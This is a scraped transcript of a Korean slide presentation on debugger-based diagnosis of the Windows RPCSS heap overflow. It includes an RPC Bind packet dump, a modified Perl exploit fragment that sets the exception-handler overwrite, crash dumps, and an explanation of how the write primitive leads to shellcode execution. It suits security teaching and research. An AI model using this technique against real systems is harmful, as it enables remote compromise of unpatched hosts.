1 / 28

디버거를 이용한 소프트웨어 오류 진단

디버거를 이용한 소프트웨어 오류 진단. 시큐아이닷컴 CERT 오정욱 mat@monkey.org. Fuzz vs. Reverse Engineering. 대부분 소스가 제공되지 않는 소프트웨어의 오류는 Fuzz 테스트를 통해서 이루어진다 . SPIKE 등의 Fuzz 테스트용 도구들이 존재한다 . 리버스 엔지니어링을 통한 버그 발견은 엄청난 투자에 비해 효과가 적다. 리버스 엔지니어링의 위치. 리버스 엔지니어링은 실제 버그를 발견하는 데에 활용 되기 힘들다 .

frisco
Download Presentation

디버거를 이용한 소프트웨어 오류 진단

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 디버거를 이용한 소프트웨어 오류 진단 시큐아이닷컴 CERT 오정욱 mat@monkey.org

  2. Fuzzvs.ReverseEngineering • 대부분소스가제공되지않는소프트웨어의오류는Fuzz테스트를통해서이루어진다. • SPIKE등의Fuzz테스트용도구들이존재한다. • 리버스엔지니어링을통한버그발견은엄청난투자에비해효과가적다.

  3. 리버스엔지니어링의위치 • 리버스엔지니어링은실제버그를발견하는데에활용되기힘들다. • Fuzz테스트이후의실제exploiting을위한코드분석에활용한다. • 리버스엔지니어링을제대로하지못하면exploit코드작성은불가능하다. • Fuzz테스트가특별한기술을요하지않는데에반해더전문적인지식을요구한다.

  4. 예제 • MicrosoftWindowsRPCSSLongFilenameHeapOverflow • 최근RPC와DCOM부분에서많은버그들이리포팅되고있다

  5. 버그를찾는방법 • 이버그를찾은방법은아마도Fuzz테스트였을것이다. • 먼저정상적인RPCSS패킷을모니터링한후해당패킷포맷을분석하고 • 패킷의가변적인부분의길이를달리하면서버퍼오버플로우등의버그를테스트한다. • 이러한방법으로윈도우즈계열에서리포팅된주요한버그들을실제로찾을수있다.

  6. 사용한exploit • 예제exploit은HDMoore의dcom2_closer.pl이라는exploit으로한글판에대해서는명령실행까지는되지않고크래쉬만시킨다.

  7. RPCBind패킷 • 05 //version00 //Version(Minor)0b //Packet Type(Bind)03 //Packet Flags10 00 00 00 //Data Representation48 00 //Flag Length00 00 //Auth Length7f 00 00 00 //Call IDd0 16 d0 16 //Alloc Hint00 00 //Context ID00 00 //Opnum01 ff //max_tsize00 00 //max_rsize01 00 01 00 //assoc_gida0 01 00 00 //num_elements00 00 //context_id00 00 //num_syntaxesc0 00 00 00 - 00 00 - 00 46 - 00 00 00 00 04 5d 88 8a //abstract RUUIDeb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 ...

  8. 디버깅대상확인 • 먼저RPCBind패킷을분석하면abstractRUUID가있다. 이RUUID로어떠한Object나Interface에바인딩하는지알수있다. • OLEViewer로대상확인이가능하다.

  9. 코드수정 • 테스트를위해서다음과같이코드를수정하여테스트한다.my$shellcode=("\x90"x3500);substr($shellcode,0,512,$payload);#theactualpayload#substr($shellcode,534,4,pack("L",0x22eb22eb));#triggerexceptiondereferencingandjmpshort36substr($shellcode,534,4,pack("L",0xBBBBBBBB));#triggerexceptiondereferencingandjmpshort36#substr($shellcode,538,4,pack("L",0x7c54144c));#overwritetheexceptionhandlerwithshellcodelocationsubstr($shellcode,538,4,pack("L",0xAAAAAAAA));#overwritetheexceptionhandlerwithshellcodelocation

  10. 첫번째 크래쉬 • 스택의 내용을 덤프한다. • :stackFrameEBP RetEIP Symbol00CEF770 76136D2E NTDLL!PAGE+085000CEF7CC 7613B7FF rpcss!.text+00015D2E00CEF814 76149726 rpcss!.text+0001A7FF00CEF908 78737F50 rpcss!.text+0002872600CEF934 78755AD7 rpcrt4!.text+00046F5000CEFD48 7875547E rpcrt4!.orpc+6AD700CEFD64 78712116 rpcrt4!.orpc+647E00CEFD9C 786F7EE1 rpcrt4!.text+0002111600CEFDF4 786F7DB5 rpcrt4!.text+6EE100CEFE14 78706E98 rpcrt4!.text+6DB500CEFE44 787070A8 rpcrt4!.text+00015E9800CEFE58 78706A03 rpcrt4!.text+000160A800CEFE90 78706295 rpcrt4!.text+00015A0300099D28 89ABCDEF rpcrt4!.text+00015295

  11. map32 • 섹션 테이블을 덤프한다. • 가끔 바이너리의 베이스 주소와 실제 할당된 베이스 주소가 다른 경우가 있으므로 이를 확인하기 위해서이다. • 만약 두 주소가 다르다면 디스어세블러와 디버거 사이에서 주소를 적절히 계산해서 사용해야 한다. • :map32 rpcrt4Owner Obj Name Obj# Address Size Typerpcrt4 .text 0001 001B:786F1000 0005D1A6 CODE ROrpcrt4 .orpc 0002 001B:7874F000 00007418 CODE ROrpcrt4 .data 0003 0023:78757000 000012C0 IDATA RWrpcrt4 .rsrc 0004 0023:78759000 000003E0 IDATA ROrpcrt4 .reloc 0005 0023:7875A000 00003DCE IDATA RO

  12. U eip • 현재 실행 위치 디스어셈블 • :u eip001B:77FCB850 MOV [EDX],ECX DS:AAAAAAAA=FFFFFFFF001B:77FCB852 MOV [EAX+04],ECX001B:77FCB855 PUSH ESI001B:77FCB856 MOV ESI,[EBP-34]001B:77FCB859 PUSH ESI001B:77FCB85A CALL 77F835A9001B:77FCB85F MOV EAX,[EBP-30]001B:77FCB862 ADD [ESI+28],EAX

  13. r -d • 레지스터를 덤프한다. • :r -dCS:EIP=001B:77FCB850 SS:ESP=0023:00CEF6E0EAX=000A2410 EBX=00070178 ECX=000B2FD8 EDX=AAAAAAAAESI=000B2FD0 EDI=00070000 EBP=00CEF770 EFL=00000207DS=0023 ES=0023 FS=0038 GS=0000

  14. 프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.

  15. 디버거 메시지 • 윈도우 보다 더 자세한 메시지를 출력해 준다. • Unhandled Exception hit in svchost.exe (Win32StartAddress: 78701C55) C:\WINNT\system32\svchost -k rpcss first, enter !exr 00CEF3F8 for the exception record next, enter !cxr 00CEF414 for the context then !kb to get the faulting stack

  16. Ida를 사용한 디스어셈블

  17. 두번째 크래쉬 • Break due to UnhandledException NTSTATUS=STATUS_ACCESS_VIOLATION001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF

  18. stack • :stackFrameEBP RetEIP Symbol0129FE08 7870FB19 NTDLL!PAGE+03F50129FE34 787174F9 rpcrt4!.text+0001EB190129FF74 78716D5E rpcrt4!.text+000264F90129FFA8 78701C6D rpcrt4!.text+00025D5E0129FFB4 77E587DD rpcrt4!.text+00010C6D0129FFEC 00000000 KERNEL32!GetModuleFileNameA+01D1

  19. u eip • :u eip001B:77FCB3F5 MOV [ECX],EAX DS:AAAAAAAA=FFFFFFFF001B:77FCB3F7 MOV [EAX+04],ECX001B:77FCB3FA MOV AL,[ESI+05]001B:77FCB3FD MOV [EBP-3C],AL001B:77FCB400 MOVZX EDX,WORD PTR [ESI]001B:77FCB403 MOV ECX,[EBP-5C]001B:77FCB406 SUB [ECX+28],EDX001B:77FCB409 MOV [EBP-28],ESI

  20. r -d • :r -dCS:EIP=001B:77FCB3F5 SS:ESP=0023:0129FC70EAX=BBBBBBBB EBX=00000028 ECX=AAAAAAAA EDX=000A2408ESI=000A2408 EDI=00070000 EBP=0129FE08 EFL=00000246DS=0023 ES=0023 FS=0038 GS=0000

  21. 프로그램 크래쉬 다음과 같이 프로그램이 크래쉬 되었다.

  22. 디버거 메시지 • Unhandled Exception hit in svchost.exe (Win32StartAddress: 00000CEB) C:\WINNT\system32\svchost -k rpcss first, enter !exr 0129F988 for the exception record next, enter !cxr 0129F9A4 for the context then !kb to get the faulting stack

  23. Ida를 사용한 디스어셈블

  24. 데이타쓰기 • 두번째에러발생시[ECX]에EAX의값을넣게된다.즉AAAAAAAA의메모리주소에BBBBBBBB이라는값을쓰게된다.AAAAAAAA를익셉션핸들러등의주소로주고BBBBBBBB를쉘코드의주소로주면원하는쉘코드의실행이가능해지게된다.

  25. 힙메모리의구조 • 테스트프로그램// test_mem.cpp : Defines the entry point for the console application.//#include "stdafx.h"#include <stdlib.h>int main(int argc, char* argv[]){printf("Hello World!\n");char *x;x=(char *)malloc(20);return 0;}

  26. 실행결과 • x=(char *)malloc(20);x=0x0034100000340FF0 14 00 00 00 /01 00 00 00 /32 00 00 00 /FD FD FD FD ........2...羲羲00341000 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 袴袴袴袴袴袴袴袴00341010 CD CD CD CD FD FD FD FD 0D F0 AD BA 0D F0 AD BA 袴袴羲羲.濟..濟.00341020 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 カカカカ........00341030 49 00 0B 00 00 04 EE FE C0 03 34 00 C0 03 34 00 I.....澱..4...4.

  27. 해당 메모리 블록 덤프

  28. 이전 메모리 블록 추적

More Related